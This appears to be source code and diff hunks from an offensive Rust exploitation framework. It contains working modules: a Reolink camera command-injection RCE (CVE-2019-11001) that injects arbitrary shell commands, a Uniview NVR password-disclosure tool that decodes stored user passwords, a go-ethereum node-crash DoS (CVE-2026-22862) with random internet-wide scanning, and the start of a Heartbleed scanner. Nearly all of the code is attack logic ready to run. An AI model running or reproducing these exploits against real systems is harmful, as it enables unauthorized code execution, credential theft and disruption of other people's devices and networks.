/// Affected Models: RLC-410W, C1 Pro, C2 Pro, RLC-422W, RLC-511W (Firmware <= 1.0.227).
///
/// Parameter: `addr1` in `TestEmail` command.
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
// Default HTTP/HTTPS?
// Usually HTTP port 80 or HTTPS 443. We will default to HTTP but can try HTTPS if needed.
// Let's assume HTTP validation (can be simple URL).
let base_url = if target_ip.contains("://") {
target_ip.clone()
} else {
format!("http://{}", target_ip)
};
println!("{} Target: {}", "[*]".blue(), base_url);
// Credentials required
let username = prompt_default("Username", "admin")?;
let password = prompt_required("Password")?;
let cmd = prompt_default("Command to execute", "id")?;
println!("{} Sending exploit...", "[*]".blue());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(15))
.build()?;
// Construct payload
// Command Injection style: test@test.com; <CMD>
let injection = format!("test@test.com; {}", cmd);
// The API requires specific structure. Based on PoC analysis.
// Usually sent as GET or POST. The PoC uses a GET with JSON-like structure in URL or POST body?
// Public docs say: /api.cgi?cmd=TestEmail...
// But Reolink API often takes a JSON body.
// Let's model after the known exploit path:
// Some versions accept it in the JSON body of a POST to /api.cgi
let url = format!("{}/api.cgi?cmd=TestEmail&user={}&password={}", base_url.trim_end_matches('/'), encode(&username), encode(&password));
// The body usually is a JSON array
let body = format!("[{{ \"cmd\": \"TestEmail\", \"action\": 0, \"param\": {{ \"addr1\": \"{}\", \"addr2\": \"test\", \"addr3\": \"test\", \"interval\": 60 }} }}]", injection);
// Some variants use GET but typically these APIs are POST with JSON.
// We will try POST.
let res = client.post(&url)
.header("Content-Type", "application/json")
.body(body)
.send()
.await
.context("Failed to send request")?;
let status = res.status();
let text = res.text().await?;
// If successful, the command output might not be returned (Blind RCE).
// Or it might be returned in the 'value' or error message?
// Usually TestEmail triggers the mail binary.
if status.is_success() {
println!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
println!("{} Response: {}", "[*]".blue(), text);
println!("{} Note: This RCE is often blind. Check your listener or device behavior.", "[*]".yellow());
} else {
println!("{} Request failed (HTTP {}). check credentials or target.", "[-]".red(), status);
}
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Reolink Camera Authenticated RCE (CVE-2019-11001) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -1,4 +1,5 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
@@ -8,6 +9,16 @@ use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
@@ -89,20 +100,23 @@ fn normalize_target(raw: &str) -> String {
}
pub async fn run(target: &str) -> Result<()> {
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Normalize URL (scheme, IPv6 brackets, port, path)
// Note: This module uses custom URL normalization to preserve scheme and path
// Framework's normalize_target is for host:port only, so we keep custom implementation
let target = normalize_target(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()
.context("Failed to build HTTP client")?;
// Fetch version info
println!("[+] Getting model name and software version...");
println!("{}", "[*] Getting model name and software version...".cyan());
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_text = client
.get(&version_url)
@@ -121,8 +135,8 @@ pub async fn run(target: &str) -> Result<()> {
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
println!("{}", format!("[+] Model: {}", model).green());
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
// Prepare log file
let mut log = OpenOptions::new()
@@ -137,7 +151,7 @@ pub async fn run(target: &str) -> Result<()> {
writeln!(log, "Software Version: {}", sw_ver).ok();
// Fetch user config
println!("\n[+] Getting configuration file...");
println!("{}", "\n[*] Getting configuration file...".cyan());
let config_url = format!(
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
target
@@ -155,7 +169,8 @@ pub async fn run(target: &str) -> Result<()> {
let mut buf = Vec::new();
let mut total_users = 0;
println!("\nUser | Stored Hash | Reversible Password");
println!();
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
println!("{}", "_".repeat(80));
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
writeln!(log, "{}", "_".repeat(80)).ok();
@@ -177,7 +192,7 @@ pub async fn run(target: &str) -> Result<()> {
}
let decoded = decode_pass(&revpass);
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
total_users += 1;
@@ -189,9 +204,11 @@ pub async fn run(target: &str) -> Result<()> {
buf.clear();
}
println!("\n[+] Total users: {}", total_users);
println!();
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
Ok(())
@@ -0,0 +1,848 @@
//! CVE-2026-22862: go-ethereum (geth) DoS via ECIES Malformed Ciphertext
//!
//! ## Vulnerability Details
//! CVE-2026-22862 is a Denial of Service vulnerability in go-ethereum (geth)
//! that allows attackers to crash vulnerable nodes by sending specially crafted
//! ECIES encrypted messages with malformed ciphertext.
//!
//! - **CVSS Score**: 7.5 (High)
//! - **CWE-ID**: CWE-20 (Improper Input Validation)
//! - **Affected**: go-ethereum < 1.16.8
//! - **Impact**: Node crash/shutdown, blockchain network disruption
//!
//! ## Technical Details
//! The vulnerability exploits improper validation during ECIES decryption.
//! By crafting a ciphertext with:
//! 1. Valid ephemeral public key (65 bytes)
//! 2. Encrypted message shorter than AES block size (< 16 bytes)
//! 3. Valid HMAC-SHA256 MAC computed with shared secret
//!
//! The victim node decrypts and panics due to insufficient IV length.
//!
//! ## Features
//! - Geth node detection and version fingerprinting
//! - Single target and mass scan modes
//! - RLPx P2P protocol implementation
//! - Configurable attack payloads
//!
//! Reference: https://github.com/qzhodl/CVE-2026-22862
use anyhow::{Context, Result, bail};
use colored::*;
use rand::Rng;
use std::fs::File;
use std::io::{BufRead, BufReader, Write};
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::Arc;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Semaphore, mpsc};
use tokio::time::timeout;
const DEFAULT_P2P_PORT: u16 = 30303;
const DEFAULT_RPC_PORT: u16 = 8545;
const CONNECT_TIMEOUT_SECS: u64 = 5;
const MAX_CONCURRENT_SCANS: usize = 50;
// Bogon/Private/Reserved exclusion ranges (same as telnet module)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
/// Generate a random public IP address excluding reserved ranges
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Geth node information
#[derive(Debug, Clone)]
struct GethNodeInfo {
version: Option<String>,
network_id: Option<u64>,
vulnerable: bool,
}
impl Default for GethNodeInfo {
fn default() -> Self {
Self {
version: None,
network_id: None,
vulnerable: false,
}
}
}
/// Exploit configuration
struct ExploitConfig {
target: String,
p2p_port: u16,
rpc_port: u16,
mass_scan: bool,
targets_file: Option<String>,
check_only: bool,
exploit_type: ExploitType,
}
#[derive(Debug, Clone, Copy, PartialEq)]
enum ExploitType {
EciesMalformed,
RlpxHandshake,
Both,
}
impl Default for ExploitConfig {
fn default() -> Self {
Self {
target: String::new(),
p2p_port: DEFAULT_P2P_PORT,
rpc_port: DEFAULT_RPC_PORT,
mass_scan: false,
targets_file: None,
check_only: true,
exploit_type: ExploitType::EciesMalformed,
}
}
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ CVE-2026-22862: go-ethereum (geth) Remote DoS ║".cyan());
println!("{}", "║ ECIES Malformed Ciphertext Node Crash ║".cyan());
println!("{}", "║ Affects geth < 1.16.8 | Critical Network Impact ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
}
/// Get user configuration
fn get_user_config(target: &str) -> Result<ExploitConfig> {
let mut config = ExploitConfig::default();
println!();
println!("{}", "=== CVE-2026-22862 Configuration ===".yellow().bold());
println!();
// Mass scan mode check
print!("{}", "Enable mass scan mode? [y/N]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
config.mass_scan = true;
print!("{}", "Enter targets file path: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let file_path = input.trim().to_string();
if file_path.is_empty() || !std::path::Path::new(&file_path).exists() {
bail!("Targets file not found or empty path");
}
config.targets_file = Some(file_path);
} else {
// Single target mode
config.target = if target.is_empty() {
print!("{}", "Enter target IP/hostname: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let t = input.trim().to_string();
if t.is_empty() {
bail!("Target is required");
}
t
} else {
target.to_string()
};
}
// Port configuration
print!("{}", format!("Enter P2P port [default: {}]: ", DEFAULT_P2P_PORT).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if let Ok(p) = input.trim().parse::<u16>() {
if p > 0 {
config.p2p_port = p;
}
}
print!("{}", format!("Enter RPC port for version check [default: {}]: ", DEFAULT_RPC_PORT).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if let Ok(p) = input.trim().parse::<u16>() {
if p > 0 {
config.rpc_port = p;
}
}
// Attack mode
println!();
println!("{}", "Select operation mode:".cyan());
println!(" 1. Check vulnerability only (safe)");
println!(" 2. Exploit - ECIES malformed ciphertext");
println!(" 3. Exploit - RLPx handshake attack");
println!(" 4. Exploit - Both methods");
print!("{}", "Select mode [1-4, default: 1]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
match input.trim() {
"2" => {
config.check_only = false;
config.exploit_type = ExploitType::EciesMalformed;
}
"3" => {
config.check_only = false;
config.exploit_type = ExploitType::RlpxHandshake;
}
"4" => {
config.check_only = false;
config.exploit_type = ExploitType::Both;
}
_ => {
config.check_only = true;
}
}
// Display configuration summary
println!();
println!("{}", "Configuration Summary:".cyan().bold());
if config.mass_scan {
println!(" Mode: Mass Scan");
if let Some(ref f) = config.targets_file {
println!(" Targets File: {}", f);
}
} else {
println!(" Target: {}", config.target);
}
println!(" P2P Port: {}", config.p2p_port);
println!(" RPC Port: {}", config.rpc_port);
println!(" Operation: {}", if config.check_only { "Check Only" } else { "Exploit" });
if !config.check_only {
println!(" Exploit Type: {:?}", config.exploit_type);
}
println!();
Ok(config)
}
/// Check if target is running geth via JSON-RPC
async fn check_geth_version(target: &str, port: u16) -> Result<GethNodeInfo> {
let mut info = GethNodeInfo::default();
// Try JSON-RPC web3_clientVersion
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(CONNECT_TIMEOUT_SECS))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}", target, port);
let payload = serde_json::json!({
"jsonrpc": "2.0",
"method": "web3_clientVersion",
"params": [],
"id": 1
});
let response = client
.post(&url)
.header("Content-Type", "application/json")
.json(&payload)
.send()
.await;
if let Ok(resp) = response {
if let Ok(json) = resp.json::<serde_json::Value>().await {
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
info.version = Some(result.to_string());
// Check if vulnerable (< 1.16.8)
if result.contains("Geth/") {
if let Some(version_start) = result.find("Geth/v") {
let version_part = &result[version_start + 6..];
if let Some(dash_pos) = version_part.find('-') {
let version_num = &version_part[..dash_pos];
let parts: Vec<&str> = version_num.split('.').collect();
// FIX: Handle parse errors properly instead of defaulting to 0
if parts.len() >= 3 {
if let (Ok(major), Ok(minor), Ok(patch)) = (
parts[0].parse::<u32>(),
parts[1].parse::<u32>(),
parts[2].parse::<u32>()
) {
// Vulnerable if < 1.16.8
if major < 1 || (major == 1 && minor < 16) ||
(major == 1 && minor == 16 && patch < 8) {
info.vulnerable = true;
}
}
}
}
}
}
}
}
}
// Also try to get network ID
let net_payload = serde_json::json!({
"jsonrpc": "2.0",
"method": "net_version",
"params": [],
"id": 2
});
if let Ok(resp) = client.post(&url).json(&net_payload).send().await {
if let Ok(json) = resp.json::<serde_json::Value>().await {
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
info.network_id = result.parse().ok();
}
}
}
Ok(info)
}
/// Check if P2P port is open and responds to RLPx
async fn check_p2p_port(target: &str, port: u16) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let socket_addr: SocketAddr = match addr.parse() {
Ok(a) => a,
Err(_) => {
// Try to resolve hostname
match tokio::net::lookup_host(&addr).await {
Ok(mut addrs) => match addrs.next() {
Some(a) => a,
// FIX: Return error instead of Ok(false) for empty resolution
None => bail!("Hostname resolved to empty address list"),
},
Err(e) => bail!("Failed to resolve hostname: {}", e),
}
}
};
let connect_result = timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(socket_addr)
).await;
match connect_result {
Ok(Ok(_stream)) => Ok(true),
_ => Ok(false),
}
}
/// Generate malformed ECIES ciphertext payload
/// This creates a ciphertext with valid structure but invalid IV length
fn generate_malformed_ecies_payload() -> Vec<u8> {
// ECIES ciphertext structure:
// [ephemeral_pubkey (65 bytes)] [encrypted_message] [mac (32 bytes)]
// Generate a fake ephemeral public key (uncompressed format)
// In a real attack, we'd use actual EC math; here we craft bytes
let mut epk = vec![0x04]; // Uncompressed point prefix
epk.extend(vec![0x41; 32]); // X coordinate (32 bytes)
epk.extend(vec![0x42; 32]); // Y coordinate (32 bytes)
// Malformed encrypted message (less than 16 bytes = AES block size)
// This triggers panic in the decryption routine
let short_ct = vec![0x01, 0x02, 0x03];
// Fake MAC (would need to be computed with shared secret in real attack)
let fake_mac = vec![0xDE; 32];
// Combine: epk || short_ct || mac
let mut payload = Vec::with_capacity(65 + 3 + 32);
payload.extend(epk);
payload.extend(short_ct);
payload.extend(fake_mac);
payload
}
/// Generate RLPx handshake auth message with malformed data
fn generate_malformed_rlpx_auth() -> Vec<u8> {
// RLPx auth message structure (simplified):
// [size (2 bytes)] [encrypted_handshake_data]
// Claim a large size but provide insufficient data
let size: u16 = 500;
let mut payload = Vec::with_capacity(200);
// Size prefix (big endian)
payload.push((size >> 8) as u8);
payload.push((size & 0xff) as u8);
// Truncated ECIES encrypted auth message
payload.extend(generate_malformed_ecies_payload());
payload
}
/// Send exploit payload to target
async fn send_exploit(target: &str, port: u16, exploit_type: ExploitType) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let stream = match timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(&addr)
).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
return Err(anyhow::anyhow!("Connection failed: {}", e));
}
Err(_) => {
return Err(anyhow::anyhow!("Connection timeout"));
}
};
let (mut reader, mut writer) = stream.into_split();
// Send appropriate payload based on exploit type
let payload = match exploit_type {
ExploitType::EciesMalformed => generate_malformed_ecies_payload(),
ExploitType::RlpxHandshake => generate_malformed_rlpx_auth(),
ExploitType::Both => generate_malformed_rlpx_auth(), // RLPx includes ECIES
};
writer.write_all(&payload).await.context("Failed to send payload")?;
writer.flush().await.context("Failed to flush")?;
// Wait briefly for response or connection drop
let mut response = vec![0u8; 1024];
let read_result = timeout(
Duration::from_secs(3),
reader.read(&mut response)
).await;
match read_result {
Ok(Ok(0)) => {
// Connection closed - might indicate crash
Ok(true)
}
Ok(Ok(_n)) => {
// Got response - node didn't crash (might be patched)
Ok(false)
}
Ok(Err(_)) | Err(_) => {
// Error or timeout - might indicate crash
Ok(true)
}
}
}
/// Run exploit against a single target
async fn run_single_exploit(config: &ExploitConfig) -> Result<()> {
let target = &config.target;
println!("{}", format!("[*] Target: {}:{}", target, config.p2p_port).cyan());
// Step 1: Check version via RPC
println!("{}", "[*] Checking geth version via JSON-RPC...".cyan());
let info = check_geth_version(target, config.rpc_port).await
.ok()
.unwrap_or_default();
if let Some(ref version) = info.version {
println!("{}", format!("[+] Version: {}", version).green());
if info.vulnerable {
println!("{}", "[!] VULNERABLE: Version < 1.16.8 detected!".red().bold());
} else {
println!("{}", "[+] Version appears to be patched (>= 1.16.8)".green());
}
} else {
println!("{}", "[?] Could not determine version via RPC".yellow());
}
if let Some(net_id) = info.network_id {
let network_name = match net_id {
1 => "Ethereum Mainnet",
3 => "Ropsten",
4 => "Rinkeby",
5 => "Goerli",
11155111 => "Sepolia",
_ => "Unknown/Private",
};
println!("{}", format!("[*] Network ID: {} ({})", net_id, network_name).cyan());
}
// Step 2: Check P2P port
println!("{}", format!("[*] Checking P2P port {}...", config.p2p_port).cyan());
let p2p_open = check_p2p_port(target, config.p2p_port).await
.unwrap_or(false);
if p2p_open {
println!("{}", format!("[+] P2P port {} is open", config.p2p_port).green());
} else {
println!("{}", format!("[-] P2P port {} is closed or filtered", config.p2p_port).red());
if config.check_only {
return Ok(());
}
}
// Step 3: Exploit if requested
if !config.check_only && p2p_open {
println!();
println!("{}", "[!] Sending exploit payload...".yellow().bold());
let types_to_try = match config.exploit_type {
ExploitType::Both => vec![ExploitType::EciesMalformed, ExploitType::RlpxHandshake],
t => vec![t],
};
for exploit_type in types_to_try {
println!("{}", format!("[*] Trying {:?} attack...", exploit_type).cyan());
match send_exploit(target, config.p2p_port, exploit_type).await {
Ok(crashed) => {
if crashed {
println!("{}", "[!] Target may have crashed (connection closed)".red().bold());
// Verify by trying to reconnect
tokio::time::sleep(Duration::from_secs(2)).await;
let still_up = check_p2p_port(target, config.p2p_port).await
.unwrap_or(false);
if !still_up {
println!("{}", "[!] CONFIRMED: Target node is DOWN!".red().bold());
} else {
println!("{}", "[?] Target node recovered or wasn't fully crashed".yellow());
}
} else {
println!("{}", "[-] Target appears unaffected (may be patched)".yellow());
}
}
Err(e) => {
println!("{}", format!("[-] Exploit error: {}", e).red());
}
}
}
}
// Summary
println!();
println!("{}", "═══ Scan Results ═══".cyan().bold());
println!(" Target: {}:{}", target, config.p2p_port);
println!(" Version: {}", info.version.as_deref().unwrap_or("Unknown"));
println!(" Vulnerable: {}", if info.vulnerable { "YES".red().to_string() } else { "NO/Unknown".green().to_string() });
println!(" P2P Open: {}", if p2p_open { "YES" } else { "NO" });
Ok(())
}
/// Run mass scan against multiple targets
async fn run_mass_scan(config: &ExploitConfig) -> Result<()> {
let targets_file = match &config.targets_file {
Some(f) => f,
None => bail!("No targets file specified"),
};
let file = File::open(targets_file)
.with_context(|| format!("Failed to open targets file: {}", targets_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in file");
}
println!("{}", format!("[*] Loaded {} targets", targets.len()).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_SCANS));
let total = targets.len();
let mut tasks = Vec::new();
for (idx, target) in targets.into_iter().enumerate() {
let sem = semaphore.clone();
let rpc_port = config.rpc_port;
let p2p_port = config.p2p_port;
let task = tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return (target, None, false),
};
// Check version
let info = check_geth_version(&target, rpc_port).await.ok();
let vulnerable = info.as_ref().map(|i| i.vulnerable).unwrap_or(false);
// Check P2P
let p2p_open = check_p2p_port(&target, p2p_port).await
.unwrap_or(false);
(target, info, p2p_open && vulnerable)
});
tasks.push((idx, task));
}
let mut vulnerable_count = 0;
let mut results = Vec::new();
for (idx, task) in tasks {
if let Ok((target, info, is_vulnerable)) = task.await {
let progress = ((idx + 1) as f64 / total as f64 * 100.0) as u32;
if is_vulnerable {
let version = info.and_then(|i| i.version).unwrap_or_else(|| "Unknown".to_string());
println!("{}", format!("[{}/{}] [{}%] {} - VULNERABLE ({})",
idx + 1, total, progress, target, version).green());
vulnerable_count += 1;
results.push(format!("VULNERABLE: {} - {}", target, version));
} else {
println!("{}", format!("[{}/{}] [{}%] {} - Not vulnerable/unreachable",
idx + 1, total, progress, target).dimmed());
}
}
}
// Summary
println!();
println!("{}", "═══ Mass Scan Results ═══".cyan().bold());
println!(" Total Targets: {}", total);
println!(" {}", format!("Vulnerable: {}", vulnerable_count).green());
// FIX: Handle write errors properly
if !results.is_empty() {
let filename = "cve_2026_22862_geth_results.txt";
match File::create(filename) {
Ok(mut file) => {
for result in &results {
if let Err(e) = writeln!(file, "{}", result) {
eprintln!("{}", format!("Warning: Failed to write result: {}", e).yellow());
}
}
println!(" Results saved to: {}", filename.green());
}
Err(e) => {
eprintln!("{}", format!("Error: Failed to create results file: {}", e).red());
}
}
}
Ok(())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check if target is 0.0.0.0, 0.0.0.0/0, or "random" for mass random scan mode
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" || target.is_empty() {
run_random_scan().await
} else {
let config = get_user_config(target)?;
if config.mass_scan {
run_mass_scan(&config).await
} else {
run_single_exploit(&config).await
}
}
}
/// Run random scan against 0.0.0.0/0 (internet-wide random scanning)
async fn run_random_scan() -> Result<()> {
println!("{}", "[*] Random Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Scanning random public IPs for vulnerable geth nodes".cyan());
println!();
// Ask about exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let use_exclusions = !input.trim().eq_ignore_ascii_case("n");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusions.len()).green());
}
let exclusions = Arc::new(exclusions);
// Output file
print!("{}", "[?] Output file [default: geth_vulnerable_nodes.txt]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let outfile = if input.trim().is_empty() {
"geth_vulnerable_nodes.txt".to_string()
} else {
input.trim().to_string()
};
// Concurrency
print!("{}", format!("[?] Concurrency [default: {}]: ", MAX_CONCURRENT_SCANS).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let threads = input.trim().parse::<usize>()
.unwrap_or(MAX_CONCURRENT_SCANS);
let threads = if threads > 0 { threads } else { MAX_CONCURRENT_SCANS };
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
// FIX: Add shutdown signal
let shutdown = Arc::new(AtomicBool::new(false));
let shutdown_clone = shutdown.clone();
// Spawn Ctrl+C handler
tokio::spawn(async move {
if tokio::signal::ctrl_c().await.is_ok() {
println!("\n{}", "[!] Ctrl+C received, shutting down...".yellow());
shutdown_clone.store(true, Ordering::Relaxed);
}
});
// FIX: Create file writer channel to avoid race conditions
let (tx, mut rx) = mpsc::channel::<String>(100);
// Spawn file writer task
let outfile_clone = outfile.clone();
let writer_handle = tokio::spawn(async move {
match File::create(&outfile_clone) {
Ok(mut file) => {
while let Some(line) = rx.recv().await {
if let Err(e) = writeln!(file, "{}", line) {
eprintln!("{}", format!("Warning: Failed to write to file: {}", e).yellow());
}
}
}
Err(e) => {
eprintln!("{}", format!("Error: Failed to create output file: {}", e).red());
}
}
});
// FIX: Progress reporter with shutdown support
let chk = checked.clone();
let fnd = found.clone();
let shutdown_progress = shutdown.clone();
let progress_handle = tokio::spawn(async move {
while !shutdown_progress.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(10)).await;
if !shutdown_progress.load(Ordering::Relaxed) {
println!("[*] Progress: Checked {} | Vulnerable {}",
chk.load(Ordering::Relaxed), fnd.load(Ordering::Relaxed));
}
}
});
println!();
println!("{}", "[*] Starting random scan... Press Ctrl+C to stop.".cyan().bold());
println!();
// FIX: Bounded task collection with shutdown support
let mut active_tasks = Vec::new();
while !shutdown.load(Ordering::Relaxed) {
// Acquire permit
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(e) => {
eprintln!("{}", format!("Semaphore error: {}", e).red());
break;
}
};
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
let task = tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
// Check P2P port
let p2p_open = check_p2p_port(&ip, DEFAULT_P2P_PORT).await
.unwrap_or(false);
if p2p_open {
// Check version via RPC
let info = check_geth_version(&ip, DEFAULT_RPC_PORT).await.ok();
if let Some(ref node_info) = info {
if node_info.vulnerable {
let version = node_info.version.as_deref().unwrap_or("Unknown");
println!("{}", format!("[+] VULNERABLE: {} - {}", ip, version).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
// Send to file writer
let _ = tx.send(format!("VULNERABLE: {} - {}", ip, version)).await;
} else if node_info.version.is_some() {
println!("{}", format!("[+] Geth found (patched): {} - {}",
ip, node_info.version.as_deref().unwrap_or("Unknown")).cyan());
}
}
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
active_tasks.push(task);
// FIX: Clean up completed tasks periodically to prevent unbounded growth
if active_tasks.len() >= threads * 10 {
// Drain first batch of tasks
let drain_count = threads.min(active_tasks.len());
for task in active_tasks.drain(..drain_count) {
let _ = task.await;
}
}
}
// Wait for remaining tasks to complete
println!("{}", "[*] Waiting for active scans to complete...".cyan());
for task in active_tasks {
let _ = task.await;
}
// FIX: Properly shutdown background tasks
drop(tx); // Close channel to signal writer to exit
let _ = writer_handle.await;
// Stop progress reporter (it checks shutdown flag)
let _ = progress_handle.await;
println!();
println!("{}", "═══ Random Scan Complete ═══".cyan().bold());
println!(" Checked: {}", checked.load(Ordering::Relaxed));
println!(" {}", format!("Vulnerable: {}", found.load(Ordering::Relaxed)).green());
println!(" Results saved to: {}", outfile.green());
Ok(())
}
+505
View File
@@ -0,0 +1,505 @@
use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::{BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target).await?;
run_with_config(target, config).await
}
async fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read port input")?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
